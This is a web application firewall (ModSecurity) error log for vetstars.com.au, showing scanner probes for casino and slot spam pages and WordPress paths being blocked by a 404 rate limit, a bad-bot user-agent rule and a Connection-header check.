[Tue Apr 07 10:04:43.566780 2026] [:error] [pid 12948:tid 12966] [client 147.135.252.145:38616] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "adRmO8beSPAN8LvMqsYHtQAAAQ8"]
[Tue Apr 07 10:04:46.076805 2026] [:error] [pid 37598:tid 37683] [client 147.135.252.145:38628] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "adRmPu9g7q_cV2WhPaz3XQAAAJY"]
[Tue Apr 07 10:04:48.640125 2026] [:error] [pid 12948:tid 12954] [client 147.135.252.145:38632] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adRmQMbeSPAN8LvMqsYHvAAAAQM"]
[Tue Apr 07 10:04:51.253174 2026] [:error] [pid 37719:tid 37744] [client 147.135.252.145:36878] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adRmQ009Xv52u2xXGLDL_AAAANY"]
[Tue Apr 07 10:04:53.615016 2026] [:error] [pid 12948:tid 12954] [client 147.135.252.145:36886] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adRmRcbeSPAN8LvMqsYHxwAAAQM"]
[Tue Apr 07 10:04:56.228964 2026] [:error] [pid 12948:tid 12957] [client 147.135.252.145:36890] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adRmSMbeSPAN8LvMqsYH0gAAAQY"]
[Tue Apr 07 10:04:58.770865 2026] [:error] [pid 37598:tid 37674] [client 147.135.252.145:36900] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "adRmSu9g7q_cV2WhPaz3hQAAAI0"]
[Tue Apr 07 10:05:01.375697 2026] [:error] [pid 12948:tid 12972] [client 147.135.252.145:37776] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adRmTcbeSPAN8LvMqsYH4wAAARU"]
[Tue Apr 07 10:05:03.786946 2026] [:error] [pid 37719:tid 37733] [client 147.135.252.145:37792] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adRmT009Xv52u2xXGLDMIgAAAMs"]
[Tue Apr 07 10:05:06.306704 2026] [:error] [pid 37719:tid 37724] [client 147.135.252.145:37804] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adRmUk09Xv52u2xXGLDMKgAAAMI"]
[Tue Apr 07 10:05:08.877901 2026] [:error] [pid 37719:tid 37724] [client 147.135.252.145:37818] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adRmVE09Xv52u2xXGLDMNgAAAMI"]
[Tue Apr 07 10:05:17.218750 2026] [:error] [pid 37598:tid 37683] [client 147.135.252.145:50730] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adRmXe9g7q_cV2WhPaz3owAAAJY"]
[Tue Apr 07 10:05:19.682946 2026] [:error] [pid 37598:tid 37668] [client 147.135.252.145:50742] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adRmX-9g7q_cV2WhPaz3qgAAAIc"]
[Tue Apr 07 10:55:43.894828 2026] [:error] [pid 12948:tid 12969] [client 49.51.245.241:53198] [client 49.51.245.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adRyL8beSPAN8LvMqsY1HAAAARI"]
[Tue Apr 07 10:56:59.308559 2026] [:error] [pid 37597:tid 37647] [client 217.216.72.68:56194] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "adRyew6uAY0QAy-8EEK_ywAAAE0"]
[Tue Apr 07 10:57:02.472784 2026] [:error] [pid 37596:tid 37618] [client 217.216.72.68:60460] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/"] [unique_id "adRyfqpaAOZHEjRWjP1XGQAAAAw"]
[Tue Apr 07 10:57:02.737748 2026] [:error] [pid 37597:tid 37641] [client 217.216.72.68:55701] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/"] [unique_id "adRyfg6uAY0QAy-8EEK_3gAAAEc"]
[Tue Apr 07 10:57:12.952888 2026] [:error] [pid 59551:tid 59557] [client 217.216.72.68:62822] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adRyiF7LN7Ubyqs-sVsf7gAAAYQ"]
[Tue Apr 07 10:57:26.509285 2026] [:error] [pid 59551:tid 59558] [client 217.216.72.68:64432] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/"] [unique_id "adRyll7LN7Ubyqs-sVsgIwAAAYU"]
[Tue Apr 07 10:57:26.945778 2026] [:error] [pid 37719:tid 37738] [client 217.216.72.68:64433] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/readme.html"] [unique_id "adRylk09Xv52u2xXGLDwKgAAANA"]
[Tue Apr 07 13:45:13.933031 2026] [:error] [pid 59804:tid 59810] [client 43.154.127.188:51188] [client 43.154.127.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adSZ6XYVIXiPh5_eJTkg_wAAAgQ"]
[Tue Apr 07 14:49:21.836143 2026] [:error] [pid 59551:tid 59575] [client 114.80.36.40:55130] [client 114.80.36.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adSo8V7LN7Ubyqs-sVt5SQAAAZY"]
[Tue Apr 07 17:15:43.930795 2026] [:error] [pid 37597:tid 37657] [client 170.106.152.218:44942] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adTLPw6uAY0QAy-8EELRoAAAAFc"]
[Tue Apr 07 18:53:44.007425 2026] [:error] [pid 37597:tid 37634] [client 42.200.231.39:55556] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adTiOA6uAY0QAy-8EEIlJAAAAEA"]
[Tue Apr 07 18:53:46.245262 2026] [:error] [pid 59490:tid 59510] [client 42.200.231.39:43991] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adTiOkcw8OFbiUZ7Rx1YCwAAAVI"]
[Tue Apr 07 18:53:53.775300 2026] [:error] [pid 59804:tid 59813] [client 42.200.231.39:16921] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adTiQXYVIXiPh5_eJTmDpQAAAgc"]
[Tue Apr 07 18:54:19.851671 2026] [:error] [pid 37596:tid 37612] [client 42.200.231.39:38492] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adTiW6paAOZHEjRWjP2PsAAAAAY"]
[Tue Apr 07 18:54:25.576554 2026] [:error] [pid 37597:tid 37641] [client 42.200.231.39:12785] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adTiYQ6uAY0QAy-8EEIlWAAAAEc"]
[Tue Apr 07 18:54:32.623334 2026] [:error] [pid 37719:tid 37731] [client 42.200.231.39:12491] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "adTiaE09Xv52u2xXGLDc2wAAAMk"]
[Tue Apr 07 18:54:38.386663 2026] [:error] [pid 37598:tid 37662] [client 42.200.231.39:6203] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adTibu9g7q_cV2WhPaya6AAAAIE"]
[Tue Apr 07 18:55:25.447347 2026] [:error] [pid 59804:tid 59810] [client 42.200.231.39:12049] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adTinXYVIXiPh5_eJTmEPQAAAgQ"]
[Tue Apr 07 18:55:27.901061 2026] [:error] [pid 37719:tid 37728] [client 42.200.231.39:56132] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adTin009Xv52u2xXGLDdHgAAAMY"]
[Tue Apr 07 18:55:30.657918 2026] [:error] [pid 59551:tid 59571] [client 42.200.231.39:52696] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adTiol7LN7Ubyqs-sVvdjQAAAZI"]
[Tue Apr 07 18:55:36.321951 2026] [:error] [pid 37598:tid 37662] [client 42.200.231.39:52979] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adTiqO9g7q_cV2WhPaybLQAAAIE"]
[Tue Apr 07 18:55:39.033470 2026] [:error] [pid 59660:tid 59679] [client 42.200.231.39:43260] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adTiqzp3-oiX2o5bTswAkQAAAdE"]
[Tue Apr 07 18:55:41.396740 2026] [:error] [pid 37597:tid 37634] [client 42.200.231.39:31219] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adTirQ6uAY0QAy-8EEImFgAAAEA"]
[Tue Apr 07 18:55:44.027799 2026] [:error] [pid 37597:tid 37648] [client 42.200.231.39:45779] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adTisA6uAY0QAy-8EEImHgAAAE4"]
[Tue Apr 07 18:55:46.457588 2026] [:error] [pid 37597:tid 37654] [client 42.200.231.39:53119] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adTisg6uAY0QAy-8EEImOAAAAFQ"]
[Tue Apr 07 18:55:48.776628 2026] [:error] [pid 37597:tid 37645] [client 42.200.231.39:57497] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adTitA6uAY0QAy-8EEImUgAAAEs"]
[Tue Apr 07 18:55:51.021577 2026] [:error] [pid 37597:tid 37643] [client 42.200.231.39:50810] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adTitw6uAY0QAy-8EEImWgAAAEk"]
[Tue Apr 07 18:55:53.347498 2026] [:error] [pid 59660:tid 59680] [client 42.200.231.39:56026] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adTiuTp3-oiX2o5bTswAlAAAAdI"]
[Tue Apr 07 18:55:55.610830 2026] [:error] [pid 59551:tid 59555] [client 42.200.231.39:12528] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adTiu17LN7Ubyqs-sVvdtQAAAYI"]
[Tue Apr 07 18:55:57.953320 2026] [:error] [pid 59660:tid 59668] [client 42.200.231.39:33641] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adTivTp3-oiX2o5bTswAlQAAAcY"]
[Tue Apr 07 18:56:04.013006 2026] [:error] [pid 37597:tid 37639] [client 42.200.231.39:30427] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "adTixA6uAY0QAy-8EEImiAAAAEU"]
[Tue Apr 07 18:56:06.477905 2026] [:error] [pid 37597:tid 37641] [client 42.200.231.39:54698] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adTixg6uAY0QAy-8EEImpAAAAEc"]
[Tue Apr 07 18:56:08.773457 2026] [:error] [pid 37597:tid 37642] [client 42.200.231.39:64594] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adTiyA6uAY0QAy-8EEImtAAAAEg"]
[Tue Apr 07 18:56:11.321829 2026] [:error] [pid 37596:tid 37625] [client 42.200.231.39:54970] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adTiy6paAOZHEjRWjP2P3QAAABM"]
[Tue Apr 07 18:56:15.444732 2026] [:error] [pid 37597:tid 37640] [client 42.200.231.39:4456] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adTizw6uAY0QAy-8EEImwQAAAEY"]
[Tue Apr 07 18:56:19.331046 2026] [:error] [pid 37597:tid 37650] [client 42.200.231.39:63860] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adTi0w6uAY0QAy-8EEIm0AAAAFA"]
[Tue Apr 07 18:57:03.860379 2026] [:error] [pid 37597:tid 37641] [client 42.200.231.39:54811] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adTi_w6uAY0QAy-8EEInBwAAAEc"]
[Tue Apr 07 18:57:05.949727 2026] [:error] [pid 12948:tid 12951] [client 42.200.231.39:16326] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adTjAcbeSPAN8LvMqsaY8AAAAQA"]
[Tue Apr 07 18:57:08.149192 2026] [:error] [pid 59551:tid 59555] [client 42.200.231.39:30967] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adTjBF7LN7Ubyqs-sVveDwAAAYI"]
[Tue Apr 07 18:57:10.323054 2026] [:error] [pid 37719:tid 37736] [client 42.200.231.39:57102] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adTjBk09Xv52u2xXGLDeAgAAAM4"]
[Tue Apr 07 18:57:12.546886 2026] [:error] [pid 37597:tid 37652] [client 42.200.231.39:10162] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adTjCA6uAY0QAy-8EEInGQAAAFI"]
